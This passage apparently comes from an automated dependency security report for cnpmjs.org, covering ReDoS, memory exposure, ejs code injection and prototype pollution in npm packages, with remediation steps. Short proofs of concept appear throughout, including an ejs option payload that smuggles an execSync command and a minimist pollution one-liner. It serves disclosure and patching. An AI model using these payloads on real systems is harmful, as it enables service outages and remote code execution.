The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 13.6.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: sequelize@3.35.1

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 sequelize@3.35.1 validator@5.7.0
    Remediation: Upgrade to sequelize@5.22.5.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isEmail function.

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = ""
    for (var i = 0; i < n; i++) {
        ret += "<"
    }

    return ret+"";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        validator.isEmail(attack_str,{ allow_display_name: true })
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 13.6.0 or higher.

References

medium severity

Uninitialized Memory Exposure

  • Vulnerable module: tunnel-agent
  • Introduced through: tunnel-agent@0.4.3

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 tunnel-agent@0.4.3
    Remediation: Upgrade to tunnel-agent@0.6.0.

Overview

tunnel-agent is HTTP proxy tunneling agent. Affected versions of the package are vulnerable to Uninitialized Memory Exposure.

A possible memory disclosure vulnerability exists when a value of type number is used to set the proxy.auth option of a request request and results in a possible uninitialized memory exposures in the request body.

This is a result of unobstructed use of the Buffer constructor, whose insecure default constructor increases the odds of memory leakage.

Details

Constructing a Buffer class with integer N creates a Buffer of length N with raw (not "zero-ed") memory.

In the following example, the first call would allocate 100 bytes of memory, while the second example will allocate the memory needed for the string "100":

// uninitialized Buffer of length 100
x = new Buffer(100);
// initialized Buffer with value of '100'
x = new Buffer('100');

tunnel-agent's request construction uses the default Buffer constructor as-is, making it easy to append uninitialized memory to an existing list. If the value of the buffer list is exposed to users, it may expose raw server side memory, potentially holding secrets, private data and code. This is a similar vulnerability to the infamous Heartbleed flaw in OpenSSL.

Proof of concept by ChALkeR

require('request')({
  method: 'GET',
  uri: 'http://www.example.com',
  tunnel: true,
  proxy:{
      protocol: 'http:',
      host:"127.0.0.1",
      port:8080,
      auth:80
  }
});

You can read more about the insecure Buffer behavior on our blog.

Similar vulnerabilities were discovered in request, mongoose, ws and sequelize.

Remediation

Upgrade tunnel-agent to version 0.6.0 or higher. Note This is vulnerable only for Node <=4

References

medium severity

Arbitrary Code Injection

  • Vulnerable module: ejs
  • Introduced through: koa-middlewares@2.1.0

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-middlewares@2.1.0 koa-ejs@1.1.3 ejs@1.0.0

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the render and renderFile. If external input is flowing into the options parameter, an attacker is able run arbitrary code. This include the filename, compileDebug, and client option.

POC

let ejs = require('ejs')
ejs.render('./views/test.ejs',{
    filename:'/etc/passwd\nfinally { this.global.process.mainModule.require(\'child_process\').execSync(\'touch EJS_HACKED\') }',
    compileDebug: true,
    message: 'test',
    client: true
})

Remediation

Upgrade ejs to version 3.1.6 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: debug
  • Introduced through: koa-mock@1.6.2 and koa-middlewares@2.1.0

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-mock@1.6.2 debug@2.2.0
    Remediation: Upgrade to koa-mock@2.0.0.
  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-middlewares@2.1.0 koa-session@3.1.1 debug@2.2.0
    Remediation: Upgrade to koa-middlewares@5.0.0.
  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-mock@1.6.2 urlmock@2.0.1 debug@2.2.0
    Remediation: Upgrade to koa-mock@2.0.0.
  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-mock@1.6.2 debug@2.2.0
    Remediation: Upgrade to koa-mock@2.0.0.
  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-middlewares@2.1.0 koa-session@3.1.1 debug@2.2.0
    Remediation: Upgrade to koa-middlewares@5.0.0.
  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-mock@1.6.2 urlmock@2.0.1 debug@2.2.0
    Remediation: Upgrade to koa-mock@2.0.0.

Overview

debug is a small debugging utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the function useColors via manipulation of the str argument. The vulnerability can cause a very low impact of about 2 seconds of matching time for data 50k characters long.

Note: CVE-2017-20165 is a duplicate of this vulnerability.

PoC

Use the following regex in the %o formatter.

/\s*\n\s*/

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade debug to version 2.6.9, 3.1.0, 3.2.7, 4.3.1 or higher.

References

low severity

Prototype Pollution

  • Vulnerable module: minimist
  • Introduced through: koa-middlewares@2.1.0

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-middlewares@2.1.0 koa-onerror@1.2.1 swig@1.4.2 optimist@0.6.1 minimist@0.0.10

Overview

minimist is a parse argument options module.

Affected versions of this package are vulnerable to Prototype Pollution due to a missing handler to Function.prototype.

Notes:

  • This vulnerability is a bypass to CVE-2020-7598

  • The reason for the different CVSS between CVE-2021-44906 to CVE-2020-7598, is that CVE-2020-7598 can pollute objects, while CVE-2021-44906 can pollute only function.

PoC by Snyk

require('minimist')('--_.constructor.constructor.prototype.foo bar'.split(' '));
console.log((function(){}).foo); // bar

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade minimist to version 0.2.4, 1.2.6 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: ms
  • Introduced through: koa-mock@1.6.2 and koa-middlewares@2.1.0

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-mock@1.6.2 debug@2.2.0 ms@0.7.1
    Remediation: Upgrade to koa-mock@2.0.0.
  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-middlewares@2.1.0 koa-session@3.1.1 debug@2.2.0 ms@0.7.1
    Remediation: Upgrade to koa-middlewares@5.0.0.
  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-mock@1.6.2 urlmock@2.0.1 debug@2.2.0 ms@0.7.1
    Remediation: Upgrade to koa-mock@2.0.0.
  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-mock@1.6.2 debug@2.2.0 ms@0.7.1
    Remediation: Upgrade to koa-mock@2.0.0.
  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-middlewares@2.1.0 koa-session@3.1.1 debug@2.2.0 ms@0.7.1
    Remediation: Upgrade to koa-middlewares@5.0.0.
  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-mock@1.6.2 urlmock@2.0.1 debug@2.2.0 ms@0.7.1
    Remediation: Upgrade to koa-mock@2.0.0.

Overview

ms is a tiny millisecond conversion utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to an incomplete fix for previously reported vulnerability npm:ms:20151024. The fix limited the length of accepted input string to 10,000 characters, and turned to be insufficient making it possible to block the event loop for 0.3 seconds (on a typical laptop) with a specially crafted string passed to ms() function.

Proof of concept

ms = require('ms');
ms('1'.repeat(9998) + 'Q') // Takes about ~0.3s

Note: Snyk's patch for this vulnerability limits input length to 100 characters. This new limit was deemed to be a breaking change by the author. Based on user feedback, we believe the risk of breakage is very low, while the value to your security is much greater, and therefore opted to still capture this change in a patch for earlier versions as well. Whenever patching security issues, we always suggest to run tests on your code to validate that nothing has been broken.

For more information on Regular Expression Denial of Service (ReDoS) attacks, go to our blog.

Disclosure Timeline

  • Feb 9th, 2017 - Reported the issue to package owner.
  • Feb 11th, 2017 - Issue acknowledged by package owner.
  • April 12th, 2017 - Fix PR opened by Snyk Security Team.
  • May 15th, 2017 - Vulnerability published.
  • May 16th, 2017 - Issue fixed and version 2.0.0 released.
  • May 21th, 2017 - Patches released for versions >=0.7.1, <=1.0.0.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ms to version 2.0.0 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: uc.micro
  • Introduced through: markdown-it@3.1.0 and koa-markdown@2.0.2

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 markdown-it@3.1.0 uc.micro@0.1.0
    Remediation: Upgrade to markdown-it@4.0.0.
  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-markdown@2.0.2 markdown-it@3.1.0 uc.micro@0.1.0

Overview

uc.micro is a micro subset of unicode data files for markdown-it projects.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in Any, if source is used to generate patterns like (Any)+.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade uc.micro to version 1.0.1 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: sequelize@3.35.1

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 sequelize@3.35.1 validator@5.7.0
    Remediation: Upgrade to sequelize@4.17.2.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (^\s*data:([a-z]+\/[a-z0-9\-\+]+(;[a-z\-]+=[a-z0-9\-]+)?)?(;base64)?,[a-z0-9!\$&',\(\)\*\+,;=\-\._~:@\/\?%\s]*\s*$) in order to validate Data URIs. This can cause an impact of about 10 seconds matching time for data 70K characters long.

Disclosure Timeline

  • Feb 15th, 2018 - Initial Disclosure to package owner
  • Feb 16th, 2018 - Initial Response from package owner
  • Feb 18th, 2018 - Fix issued
  • Feb 18th, 2018 - Vulnerability published

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 9.4.1 or higher.

References